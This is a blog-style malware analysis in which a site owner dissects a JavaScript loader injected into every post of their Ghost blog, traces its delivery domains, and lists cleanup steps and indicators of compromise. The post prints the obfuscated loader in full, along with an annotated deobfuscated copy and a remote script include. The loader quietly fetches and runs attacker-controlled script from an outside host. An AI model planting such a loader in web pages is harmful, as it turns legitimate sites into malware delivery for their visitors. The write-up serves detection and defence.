Dissecting the Malware Injected Into My Own Ghost Blog
tl;dr: I had not looked at my own blog in several months. When I finally sat down to migrate it off Ghost, I found that someone had injected a malicious JavaScript loader into every single one of my posts and pages. It was not in the theme or the site-wide settings. It was added to each post’s individual footer code injection field, one post at a time, almost certainly through the Ghost Admin API. The injected code loads a remote script from a couple of throwaway domains that behave like a traffic distribution system. Here is how I think it happened, what the malicious code does, and how I removed it.
Background
I have been running this blog on Ghost for years, and if I am being honest, I had not logged into it or really looked at it in several months. It just sat there quietly doing its thing, or so I assumed. A few days ago I finally started moving it to a static site, mostly because I wanted full control over the design and I was tired of running a server for what is, at the end of the day, a pile of Markdown. That is when I found out my neglected little blog had been busy serving malware to everyone who visited it.
The first step of any migration like this is getting your content out. Ghost exposes a read only Content API, and the search box on the site already ships with a public Content API key embedded in the page, so I used that to pull every post as JSON. While I was looking at the very first record, something jumped out at me that I did not put there:
"codeinjection_foot": "<script>(function(){try{var k=\"ghost_once_footer_5fa8d77b3e3a5b1c01ee2af3\";...d=atob(\"aHR0cHM6Ly9yZXN0cmljdGVzLmNvbS8xMXo3N3UzLnBocA==\");...})();}catch(e){}})();</script>"
A base64 blob, a try/catch so it fails silently, and a localStorage flag. That is not something I would ever add to a post. So of course I had to take a look.
If you run Ghost yourself, here is the one liner I used to check every post at once. It only reads the fields you ask for, so it is safe to run against your own site:
curl -s "https://YOURSITE/ghost/api/content/posts/?key=YOUR_CONTENT_KEY&limit=all&fields=title,slug,codeinjection_foot" \
| jq '.posts[] | select(.codeinjection_foot != null) | .slug'
In my case it printed every slug I have. All of them were injected.
Disclaimer: This writeup is for educational and defensive purposes. I am documenting an attack against my own site so other people running Ghost (or any CMS with an API) can recognize it and check their own installs. The deobfuscated code below is included so you can understand and defend against this, nothing more.
Two injections, not one
The first surprise was the scope. The second was that there were actually two separate campaigns, eight days apart, using two different domains.
| Where | When (EDT) | Domain | Style |
|---|---|---|---|
| Every post | 2026-06-18, ~17:00 | restrictes[.]com | base64 obfuscated, fires once per visitor |
| Both pages | 2026-06-10, ~14:09 | aniyara[.]icu | plain <script src> with a token |
Two domains and two dates means this was not a one time accident. Whoever had access came back. That detail mattered a lot when it came time to decide what to rotate.
The posts payload: restrictes[.]com
Here is the script that was sitting in the footer of every post, exactly as stored (the post id changes per post, everything else is identical):
<script>(function(){try{var k="ghost_once_footer_5fa8d77b3e3a5b1c01ee2af3";if(localStorage.getItem(k))return;localStorage.setItem(k,"1");(function(){var a=location,b=document.head||document.getElementsByTagName("head")[0],c="script",d=atob("aHR0cHM6Ly9yZXN0cmljdGVzLmNvbS8xMXo3N3UzLnBocA==");d+=-1<d.indexOf("?")?"&":"?";d+=a.search.substring(1);c=document.createElement(c);c.src=d;c.id=btoa(a.origin);b.appendChild(c);})();}catch(e){}})();</script>
It is minified and the URL is base64 encoded, but it is small enough to read once you space it out. Here is the same thing, cleaned up and annotated:
(function () {
try {
// Fire at most once per browser, per post. The flag is keyed on the post id,
// so a returning visitor never triggers it twice. This also keeps it quiet:
// you are far less likely to notice it on your own site after the first hit.
var k = "ghost_once_footer_5fa8d77b3e3a5b1c01ee2af3";
if (localStorage.getItem(k)) return;
localStorage.setItem(k, "1");
(function () {
var a = location,
b = document.head || document.getElementsByTagName("head")[0],
c = "script",
// base64 decodes to hxxps://restrictes[.]com/11z77u3.php
d = atob("aHR0cHM6Ly9yZXN0cmljdGVzLmNvbS8xMXo3N3UzLnBocA==");
// Forward the visitor's own query string to the remote server.
d += (-1 < d.indexOf("?") ? "&" : "?") + a.search.substring(1);
// Inject the remote script into the page head.
c = document.createElement(c);
c.src = d;
// The id is the compromised site's origin, base64 encoded.
c.id = btoa(a.origin);
b.appendChild(c);
})();
} catch (e) {}
})();
There is nothing clever in the obfuscation, but every line is doing something deliberate. Walking through it:
- The once per visitor gate.
localStorage["ghost_once_footer_<postId>"]is checked before anything else. If it is set, the function returns immediately. This is not for the victim’s benefit, it is for the attacker’s. Firing once per browser reduces the noise the payload generates and makes the compromise much harder for me, the site owner, to stumble onto while clicking around my own posts. - The base64 URL.
atob("aHR0cHM6...")decodes tohxxps://restrictes[.]com/11z77u3.php. The only reason to base64 the URL is to slip past anything that greps content forhttp. - Forwarding the query string.
a.search.substring(1)is the current page’s query string, and it gets appended to the request. So whatever campaign or click parameters a visitor arrived with get passed straight through to the remote server. - The injected script. A fresh
<script>element is created withsrcset to that remote URL and appended to<head>. From this point on, the attacker decides what runs. The footer payload itself never contains the actual malicious behaviour, it just pulls it in at runtime, which means they can change what gets served without ever touching my site again. - The origin tag.
c.id = btoa(a.origin)sets the script element’s id to the base64 of the page origin. A neat little fingerprint that tells the server, or anyone reading the DOM, exactly which compromised site this beacon came from. - The silent
try/catch. The whole thing is wrapped so it never throws a visible error. If anything fails, it fails quietly.
So the footer is a loader. It is small, it is quiet, and it hands control to a remote endpoint on every fresh page view.
The pages payload: aniyara[.]icu
The two pages on the site (an about page and one other) were hit eight days earlier with something much less subtle:
<script src="https://aniyara[.]icu/api.php?t=61a4a18a54a81359e89bdf196bcf9d7c3fb8f82a"></script>
No obfuscation, no once per visitor flag, just a direct remote script include with a 40 character hex token in the t parameter. That token is almost certainly a campaign or affiliate identifier. Same idea as the posts payload (pull a remote script, let the server decide what to run), just an earlier and lazier version of it.
So what does it actually deliver?
This is the part where I have to be honest about the limits of the analysis.
Both payloads are loaders. The interesting code lives on the remote server, not in the injected snippet, and the server gets to decide what to send back per request. So I went looking for the real payload.
aniyara[.]icu was the easy one. It is already dead from the outside: Cloudflare returns a 403 with a “Suspected Phishing” interstitial for it, so it has been reported and actioned. That tells you what category it belongs to without my having to guess.
restrictes[.]com/11z77u3.php is still up, and it is more careful. Every request I made to it came back as a 200 with an empty body and a Cache-Control: no-store header. I tried it as desktop Safari, as mobile Safari, with and without a referer, with a query parameter, and as Googlebot. Empty every time. The response also carries Access-Control-Allow-Origin: *, which is exactly what you want if your job is to be loaded as a cross origin <script> from thousands of unrelated sites.
An endpoint that returns a dynamic, uncached, empty 200 to everything I throw at it is not broken. It is cloaking. It is deciding, server side, whether the request in front of it is a real, targetable victim or someone (or something) it would rather show nothing to. Security researchers, crawlers, datacenter IP ranges, and repeat visitors are the usual things that get the empty response. This is the defining behaviour of a traffic distribution system, or TDS: a switchboard that sits between a compromised site and a rotating set of final destinations, sending each visitor to whatever pays best at that moment. In practice the destinations for this class of loader are fake browser update pages, tech support scams, fake captcha and “verify you are human” pages that trick you into running commands, sketchy push notification prompts, and plain malvertising redirects.
I could not capture the live payload, because it would not serve me one. I am not going to pretend I saw a redirect I did not see. What I can say with confidence is the shape of it: a quiet, base64 wrapped, once per visitor loader, pointed at a cloaking endpoint, injected at scale into a CMS. That is a textbook web TDS infection. Researchers at Palo Alto’s Unit 42 documented one variant of this pattern across more than 51,000 sites, and the general technique (inject a tiny loader, serve the real payload conditionally from elsewhere) is one of the most common ways legitimate sites get turned into malware delivery without the owner noticing.
Following the infrastructure
A quick look at where these domains live:
restrictes[.]comresolves to Cloudflare addresses (104.21.15.5,172.67.160.247) and uses Cloudflare nameservers. Its root is a default hosting placeholder that literally says “Website restrictes.com is ready. The content is to be added.” The only thing of substance on the whole domain is the one PHP endpoint.aniyara[.]icuis also behind Cloudflare and sits on.icu, a TLD with a long history of phishing abuse.
The placeholder root is worth pausing on. If you visited restrictes[.]com directly you would see an empty “coming soon” page and move on. The malicious behaviour is parked on a single non obvious path (/11z77u3.php) and fronted by Cloudflare, which hides the real origin and gives the operator a free kill switch and IP reputation laundering. None of this is sophisticated. It is just tidy, and it is cheap to replace when a domain gets burned, which is exactly why there were two domains here in the first place.
How they got in
This was the question I actually cared about, because cleaning the scripts out is pointless if the door is still open.
A few things were immediately clear from looking at where the injection was and was not:
- The site-wide code injection settings were clean. The only thing in there was my own Prism syntax highlighting includes.
- There were no unknown staff users on the account.
- There were no unknown custom integrations.
So this was not someone logging into the admin UI and pasting a script into the global footer. The injection was in the per post codeinjection_foot field, on every post individually. Something edited each post on its own.
The timestamps told the rest of the story. Ghost records an updated_at for every post, and all of my published posts had been rewritten inside a single 38 second window: 2026-06-18 from 17:00:45 to 17:01:23, one post roughly every 1.3 seconds, in ascending order of publish date. No human edits 29 posts in 38 seconds in a steady march through a paginated list. That is a script walking the Ghost Admin API and issuing one update per post.
That narrows the entry point a lot. The Admin API needs an admin session or an Admin API key. With no rogue users and no rogue custom integrations, the most likely culprits are a leaked Admin API key (in Ghost, the built in Zapier integration is the one that exposes an Admin API key, and a key that leaks anywhere stays valid until you rotate it) or a compromised admin password or session that was used once to script the whole thing. The two separate waves, eight days apart, fit a credential that stayed valid the entire time rather than a single smash and grab.
Cleaning up
Because I was migrating to a static site anyway, the cleanup and the migration ended up being the same project. In order:
- Took the live site private to stop serving the loader to the public while I worked.
- Rotated the Admin API key and changed the admin password. This is the part that actually matters. Removing the scripts without rotating credentials just invites a third wave.
- Pulled a clean copy of all content through the Admin API, explicitly dropping the
codeinjection_headandcodeinjection_footfields so the malware never made it into the new site. Worth noting: the Admin API surfaced three more posts (drafts and a sent newsletter) that the public Content API never returns, and those were injected too. If you only check what is publicly visible, you will miss the non public posts. - Verified the result: zero references to either domain, the base64 blob, or the
ghost_once_footer_marker anywhere in the new build.
The new site is static Markdown served as flat files. There is no admin panel and no Admin API to abuse, which retires this entire class of problem rather than patching it.
If you run a Ghost site
If you take one thing from this, make it this: check your own codeinjection_foot. The one liner near the top of this post will do it in a few seconds. Then, regardless of what you find:
- Rotate every Admin API key, not just one. Any integration that exposes an Admin API key is a candidate. Treat them all as burned.
- Change your admin password and turn on two factor. Covers the session and credential angle.
- Audit your integrations and webhooks, and delete anything you do not recognize.
- Check the non public posts too. Drafts, scheduled posts, and sent newsletters do not show up in the Content API.
- Watch the per post code injection fields, not just the global ones. The global settings being clean is exactly what made this easy to miss.
Indicators of compromise
For anyone searching their own content or logs:
Domains
restrictes[.]com (specifically hxxps://restrictes[.]com/11z77u3.php)
aniyara[.]icu (specifically hxxps://aniyara[.]icu/api.php?t=...)
Strings to grep for
aHR0cHM6Ly9yZXN0cmljdGVzLmNvbS8xMXo3N3UzLnBocA== (base64 of the restrictes URL)
ghost_once_footer_ (localStorage key prefix)
btoa(a.origin) (origin fingerprint)
61a4a18a54a81359e89bdf196bcf9d7c3fb8f82a (aniyara campaign token)
Client side artifact
localStorage keys named ghost_once_footer_<24-hex-post-id>
Edit windows (post/page updated_at)
2026-06-10 ~18:09 UTC (pages, aniyara wave)
2026-06-18 ~21:00 UTC (posts, restrictes wave)
Conclusion
There is a particular flavour of embarrassment in finding malware on the blog where you write about finding malware. But the failure here was boring and human: a credential that should have been rotated was not, and an API that is supposed to make your life easier made the attacker’s life easier instead.
The malware itself was not advanced. It was a small loader, quietly injected at scale, pointed at a cloaking endpoint that decides per visitor whether to ship a payload. That is most of what mass website compromise looks like in practice. It does not need to be clever, it just needs your posts to load one extra script.
If you run anything with an API and long lived keys, go rotate them. And check your footers.
The real lesson here is older and dumber than any of the technical detail above: take care of your public facing assets, because if you do not, someone else will be happy to do it for you. Mine sat unattended for months and quietly got turned into a malware delivery truck while I was looking the other way. Do not be me. Go log into that thing you forgot you still run.
Stay safe out there.
Disclaimer: This analysis is provided for educational and defensive purposes only. The deobfuscated code is shared solely to help people recognize and remove this kind of injection from their own sites.